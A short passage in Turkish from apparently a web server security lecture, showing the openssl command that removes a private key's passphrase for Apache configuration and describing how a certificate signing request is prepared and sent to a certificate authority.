oluşturulur.

# openssl rsa -in server.key -out server.pem

Daha sonra server.key’den şifre çıkartılır

server.pem, httpd.conf dosyasındaki tanımlamalarda kullanılacaktır 

Web Sunucu Güvenliği (9)

Yaratılan gizli anahtar kullanılarak  ‘Sertifika İmza İsteği’ (CSR, Certificate Signing 
Request) hazırlanır.

Bu işlem sonucunda oluşturulan server.csr dosyası bir Sertifika Otoritesine (CA, 
Certificate Authority) gönderilerek imzalatılmalıdır (Örneğin KSM). 
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